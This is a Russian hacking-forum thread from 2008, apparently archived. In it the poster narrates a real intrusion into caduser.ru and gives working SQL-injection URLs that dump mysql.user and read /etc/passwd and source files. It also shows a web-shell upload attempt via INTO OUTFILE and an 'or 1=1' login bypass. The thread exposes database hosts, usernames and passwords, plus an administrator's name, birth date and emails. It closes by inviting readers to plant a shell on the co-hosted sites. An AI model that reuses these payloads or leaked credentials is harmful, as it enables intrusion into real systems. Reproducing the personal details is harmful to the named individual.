PDA

Просмотр полной версии : Мысли вслух


_Pantera_
24.07.2008, 12:31
Введение

Меня довольно часто просят снять на видео сам процесс взлома. Именно сам ход мыслей, стратегию и т.п
Я решил написать статью, которая возможно поможет многим начинающим в освоении хака......

И так, НАЧНЕМ!

Сайт, который я ломаю - caduser.ru

Информационный портал, посвященный программным продуктам для автоматизации проектирования, электронного архива и управления проектами, систем подготовки производства, инженерного анализа, управления станками с ЧПУ, геоинформационных систем и решений в области визуализации и мультимедиа.

PR – 3
ТИЦ – 325

Скажу вам это довольно неплохо. Сразу захотелось проверить файл robots.txt (Для тех кто незнает http://ru.wikipedia.org/wiki/Robots.txt), но результат не оправдал себя:

User-agent: *
Disallow: /img
Disallow: /inc

Админкой тут и не пахнет, ну что ж, двигаем дальше.....
Сканирую порты, и на выходе получаю:

Port 21/tcp (ftp) - FTP Server- FTP-Server
Port 22/tcp (ssh) - SSH- Secureshell
Port 80/tcp (http) - Web Server- Web Server
Port 3306/tcp () - MySQL Server- Es ist ein MySQL Server aktiv
Port 8080/tcp () - alt. WebServer z.B. Router- alt HTTP Port / Proxy

Open Ports: 5

Очень впечатляющий результат! Значит к БД можно удаленно подконектиться, а для этого нужны кое-какие данные, которые нам предстоит найти.

Исследую сайт, и вскоре нахожу

http://www.caduser.ru/acad/index.php?ver_id=5

Параметр ver_id уязвим. На сайте присутствует SQL-inj, в этом можно убедиться подставив кавычку получаем:

QF-2a: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1

Подбираем количество полей в таблице, (расписывать не буду как это делается, статей по этому поводу полно), их оказалось 4. Формируем запрос(подставляя стандартную mysql.user, а вдруг повезет):

http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,2,3,4+from+mysql.user/*

Поле 2 выводиться на экран. Для начала я решил узнать логин и пароль рута от БД

http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,concat(user,char(58),password),3, 4+from+mysql.user/*

А в ответ получаю:

QF-2a: Illegal mix of collations (koi8r_general_ci,IMPLICIT) and (utf8_bin,IMPLICIT) for operation 'UNION'

Эту запару можно обойти несколькими способами, я выбрал кодирование и декодирование HEX-ом:

http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,unhex(hex(concat(user,char(58),pa ssword))),3,4+from+mysql.user/*

а на выходе получил голого Root-a. Админ решил не ставить пароль =) Идем дальше!
Проверяем file_priv:

http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,unhex(hex(file_priv)),3,4+from+my sql.user/*

Y

Вот оно!!! То, что может порадовать мне душу. Ковычки не фильтруються!
Пробуем вывести /etc/passwd (результат очевиден из выше сказанного)

http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,load_file('/etc/passwd'),3,4+from+mysql.user/*

Получаем:

root:*:0:0:Charlie &:/root:/bin/csh
toor:*:0:0:Bourne-again Superuser:/root:
daemon:*:1:1:Owner of many system processes:/root:/usr/sbin/nologin
operator:*:2:5:System &:/:/usr/sbin/nologin
bin:*:3:7:Binaries Commands and Source:/:/usr/sbin/nologin
tty:*:4:65533:Tty Sandbox:/:/usr/sbin/nologin
kmem:*:5:65533:KMem Sandbox:/:/usr/sbin/nologin
games:*:7:13:Games pseudo-user:/usr/games:/usr/sbin/nologin
news:*:8:8:News Subsystem:/:/usr/sbin/nologin
man:*:9:9:Mister Man Pages:/usr/share/man:/usr/sbin/nologin
sshd:*:22:22:Secure Shell Daemon:/var/empty:/usr/sbin/nologin
smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/usr/sbin/nologin
mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/usr/sbin/nologin
bind:*:53:53:Bind Sandbox:/:/usr/sbin/nologin
proxy:*:62:62:Packet Filter pseudo-user:/nonexistent:/usr/sbin/nologin
_pflogd:*:64:64:pflogd privsep user:/var/empty:/usr/sbin/nologin
uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/local/libexec/uucp/uucico
pop:*:68:6:Post Office Owner:/nonexistent:/usr/sbin/nologin
www:*:80:80:World Wide Web Owner:/nonexistent:/usr/sbin/nologin
nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
mysql:*:88:88:MySQL Daemon:/nonexistent:/sbin/nologin
ftp:*:21:21::/htdocs/FTP/guest:/bin/date
webadmin:*:10001:10001::/htdocs:/bin/tcsh
webadmin2:*:10001:10001::/htdocs:/bin/tcsh
pgsql:*:70:70:PostgreSQL Daemon:/usr/local/pgsql:/bin/sh
upload:*:10002:10002:User &:/htdocs/FTP/upload/:/bin/date
price:*:10001:10001:User &:/htdocs/web/consistent/WWW/price/:/bin/date
tdms-help:*:10001:10001:User &:/htdocs/web/tdms-help/DATA/:/bin/date
boom:*:976:20:Alexey Sviridov:/home/boom:/bin/tcsh

Из этих сведений можно вытянуть информацию про порты которые открыты, но нам оно уже не надо))

Пробую прочитать самый корень сервака:
http://www.caduser.ru/acad/index.php?ver_id=-5+union+select+1,load_file('/'),3,4+from+mysql.user/*

ДА!!! Он читается! Читаются и каталоги и подкаталоги т.е мы можем просмотреть содержимое всех файлов в любой папке. Первым делом я раскрыл путь к каталогу WWW:

/htdocs/web/caduser/WWW/

Меня интересовали имена папок в этом каталоге:

acad, article, banner, books, data, gallery, img, pass, subscribe, counters, image, inc, dealer.

Раз у нас есть права на чтение-запись и не фильтруются ковычки, грех не попробовать залить веб-шелл через into outfile:

http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,'<?php phpinfo();?>',3,4+into+outfile+'/htdocs/web/caduser/WWW/image/1.php'/*

Вот запара, куда не плюнь видим:

QF-2a: Can't create/write to file '/htdocs/web/caduser/WWW/image/1.php' (Errcode: 13)

Прав не хватает, ну что ж как говориться - еще не все потеряно, двигаем дальше!

Решил я спуститься на один каталог выше /htdocs/web/caduser/ и посмотреть, что там твориться. Единственное, что меня там заинтересовало, это папочка PASS. Идем прямо в нее:

http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,load_file('/htdocs/web/caduser/PASS/'),3,4+from+mysql.user/*

И сразу вижу интересные для себя файлы:

access.php
admin.php
login.php
pass.php
user.php

Посмотрим что лежит в первом. Самое интересное на что я обратил внимание это:

define('CS_PASS_LINK','http://pass.caduser.ru/');//
if(!defined('DEMOS')){
$demos = mysql_connect("195.133.21.9", "lermsc", "8Jm9zk4d") or die("Could not connect");
define('DEMOS',$demos);
$result = mysql_query("SET CHARACTER SET cp1251_koi8",DEMOS) or die("QF-1: ".mysql_error());
mysql_select_db("lermsc",DEMOS);

Начнем с самого верха http://pass.caduser.ru/ наверное что то типа админки. Там просят для авторизации email и password, но изучая сорсы сайта я понял что все что можно храниться в БД. Пробую ввести

Email: heck’ or 1=1/*
Password: heck’ or 1=1/*

Но результат превысил себя, на выходе я получил:

$vars['user']
Array
(
[user_id] => 1
[user_nick] => den-si
[user_pass] => 34774628489886c5
[user_update] => 2006-08-01 19:10:07
[email_id] => 48
[use_nick] => 0
[user_data] =>
[must_change_pass] => 0
[show_email] => 0
[person_id] => 2
[email_body] => den-si@mail.ru
[person_name] => Сипидин Денис Павлович
[person_bd] => 1972-05-31
[person_sex] => 0
[person_note] => Администратор
[person_email] => sipidin@consistent.ru
[obj_id] => 6518
)


Вот такая она админка, но на самом деле ничего тут интересного нет, кроме инфы об Сипидин Денис Павлович, который является администратором.

Прочитаем еще не менее интересный файлик pass.php

http://www.caduser.ru/acad/index.php?ver_id=-1+union+select+1,load_file('/htdocs/web/caduser/PASS/pass.php'),3,4+from+mysql.user/*

И тут есть не менее интересные строки:

//$demos = mysql_connect("195.133.21.9", "lermsc", "8Jm9zk4d") or die("Could not connect");
//$demos = mysql_connect('194.87.13.132', 'csoft', 'as2hc9J!tyd83') or die("Could not connect");

$demos = mysql_connect('localhost', 'root', '') or die("Could not connect");
define('DEMOS',$demos);
mysql_select_db("lermsc",DEMOS) or die("Could not select database");

Вот тут то мы и убедились, что пароля на самом деле нет к БД

На этом я хочу остановиться, несколько раз обдумывал это решение. Шелл заливать не буду из нескольких соображений, во первых это запрещено форумом, во-вторых форум в паблике, а тут хулиганов немеренно, сеть сайтов все-таки коммерческая!

С помощью Reverse IP можно узнать сайты хостящиеся вместе с нашим:

archicad.ru
autocad.ru
autograph.ru
cadmaster.ru
caduser.ru
calcomp.ru
consistent.ru
contex.ru
csf.ru
csoft.ru
dealer.consistent.ru
dv.csoft.ru
encad.ru
ftp.csf.ru
geonics.ru
geonika.ru
img.csf.ru
inventor.ru
kazan.csoft.ru
klgd.csoft.ru
krasnoyarsk.csoft.ru
krsk.csoft.ru
kuban.csoft.ru
ler.ru
mutoh.ru
nnov.csoft.ru
oce.ru
omsk.csoft.ru
perm.csoft.ru
plant4d.ru
plotter.ru
rostov.csoft.ru
seal.ru
spb.csoft.ru
srvc.ru
strucad.ru
subscribe.caduser.ru
summa.ru
tdms.ru
technologics.ru
tyumen.csoft.ru
ural.csoft.ru
vidarscan.ru
vrn.csoft.ru
yaroslavl.csoft.ru

Если спуститься еще на один уровень выше /htdocs/web/ можно их все просмотреть. Ну и если кому то неймется через into outfile на caduser.ru залить веб-шелл, наверняка хоть на одном из них найдется папка для записи.

Спасибо за внимание! _Pantera_ (C)

Underwit
24.07.2008, 12:52
Ничо особенного, всё как обычно. Почти все видео из раздела SQL-INJ на сайте такого плана - кавычка, скуль, order by, union select и поняслась.
Ну всё равно + за старания и хорошее офорление.

_Pantera_
24.07.2008, 12:57
Ничо особенного, всё как обычно. Почти все видео из раздела SQL-INJ на сайте такого плана - кавычка, скуль, order by, union select и поняслась.
Ну всё равно + за старания и хорошее офорление.
Видео снимается по накатанной схеме после взлома, там ничего лишнего, а я старался показать весь ход рассуждений и правильных и неправильных, как оно есть на самом деле....

.Slip
24.07.2008, 17:48
mq - off, мускуль от рута, сайт дырявый. Долго сервер такой подбирал?

PS Достойный продолжатель дела R0ID'a из хакера.